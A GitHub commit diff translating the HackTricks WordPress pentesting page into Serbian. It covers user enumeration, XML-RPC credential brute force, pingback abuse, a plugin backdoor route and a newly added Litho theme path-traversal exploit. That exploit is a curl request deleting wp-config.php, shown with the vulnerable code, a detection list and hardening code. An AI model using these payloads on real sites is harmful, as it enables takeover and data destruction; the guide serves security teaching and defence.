mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
d2b60ac979
commit
e84a25d6d5
@ -28,21 +28,21 @@
|
||||
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
|
||||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
||||
|
||||
**Post exploitation**
|
||||
**Post eksploatacija**
|
||||
|
||||
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
|
||||
|
||||
### Dozvole korisnika
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
|
||||
- **Author**: Objavljuje i upravlja svojim postovima
|
||||
- **Contributor**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||||
- **Subscriber**: Pregleda postove i uređuje svoj profil
|
||||
- **Urednik**: Objavljuje i upravlja svojim i tuđim postovima
|
||||
- **Autor**: Objavljuje i upravlja svojim postovima
|
||||
- **Doprinosilac**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||||
- **Pretplatnik**: Pregleda postove i uređuje svoj profil
|
||||
|
||||
## **Pasivna enumeracija**
|
||||
|
||||
### **Dobijanje WordPress verzije**
|
||||
### **Dobijanje verzije WordPress-a**
|
||||
|
||||
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
||||
|
||||
@ -77,13 +77,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Aktivna enumeracija
|
||||
|
||||
### Pluginovi i teme
|
||||
### Plugin-i i Teme
|
||||
|
||||
Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće potrebno da **aktivno Brute Force-ujete listu Pluginova i tema** (na sreću, postoje automatski alati koji sadrže ove liste).
|
||||
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, moraćete da **aktivno Brute Force-ujete listu Plugin-a i Tema** (na sreću, postoje automatski alati koji sadrže ove liste).
|
||||
|
||||
### Korisnici
|
||||
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
|
||||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -101,7 +101,7 @@ Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. *
|
||||
|
||||
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||||
|
||||
- **Enumeracija korisničkog imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||||
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -136,7 +136,7 @@ Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 tr
|
||||
|
||||
.png>)
|
||||
|
||||
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -166,7 +166,7 @@ Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete pokušati nekoliko kredencijala u istom zahtevu:
|
||||
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete isprobati nekoliko kredencijala u istom zahtevu:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -176,7 +176,7 @@ Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava
|
||||
|
||||
**DDoS ili skeniranje portova**
|
||||
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\
|
||||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
|
||||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||||
```html
|
||||
<methodCall>
|
||||
@ -209,7 +209,7 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau
|
||||
|
||||
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
|
||||
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
|
||||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).
|
||||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).
|
||||
|
||||
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
|
||||
|
||||
@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Dobijanje pristupa prepisivanjem bita
|
||||
|
||||
Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||||
Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -266,7 +266,7 @@ to get a session.
|
||||
|
||||
### PHP plugin
|
||||
|
||||
Možda će biti moguće uploadovati .php fajlove kao plugin.\
|
||||
Možda je moguće uploadovati .php fajlove kao plugin.\
|
||||
Kreirajte svoj php backdoor koristeći, na primer:
|
||||
|
||||
.png>)
|
||||
@ -305,7 +305,7 @@ Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranji
|
||||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
|
||||
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
|
||||
|
||||
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||
Sadržaj uključuje vizuelne prikaze koraka u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
@ -336,7 +336,7 @@ Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||||
|
||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
||||
```php
|
||||
@ -366,13 +366,89 @@ $this->namespace, '/get/', array(
|
||||
|
||||
- **Direktan pristup php datoteci**
|
||||
|
||||
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće podložna eksploataciji od strane bilo kog korisnika.
|
||||
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće eksploatabilna od strane bilo kog korisnika.
|
||||
|
||||
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
|
||||
|
||||
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
||||
|
||||
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
|
||||
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||||
3. **Strogu sanitizaciju / validaciju unosa**.
|
||||
|
||||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
return;
|
||||
}
|
||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||
$filesystem = Litho_filesystem::init_filesystem();
|
||||
|
||||
if ( file_exists( $srcdir ) ) {
|
||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||
}
|
||||
die();
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemi koje uvodi ovaj deo koda:
|
||||
|
||||
* **Neautentifikovani pristup** – `wp_ajax_nopriv_` hook je registrovan.
|
||||
* **Nema nonce / provere sposobnosti** – bilo koji posetilac može da pristupi kraju.
|
||||
* **Nema sanitizacije putanje** – string `fontfamily` koji kontroliše korisnik se konkatenira sa putanjom do datotečnog sistema bez filtriranja, što omogućava klasičnu `../../` traversalu.
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *čarobnjaka za instalaciju* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika).
|
||||
|
||||
Ostali značajni ciljevi uključuju plugin/theme `.php` datoteke (da bi se prekinuli sigurnosni pluginovi) ili `.htaccess` pravila.
|
||||
|
||||
#### Lista za detekciju
|
||||
|
||||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` povratni poziv koji poziva pomoćne funkcije za datotečni sistem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacija nepročišćenog korisničkog unosa u putanje (tražite `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Ojačavanje
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvostruko proverite:
|
||||
> • Autentifikacija • Autorizacija • Nonce • Sanitizacija ulaza • Ograničenje putanje (npr. putem `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
## WordPress zaštita
|
||||
|
||||
### Redovne ažuriranja
|
||||
|
||||
Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||||
Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -394,4 +470,8 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
||||
- **Ograničite pokušaje prijavljivanja** kako biste sprečili Brute Force napade
|
||||
- Preimenujte **`wp-admin.php`** datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user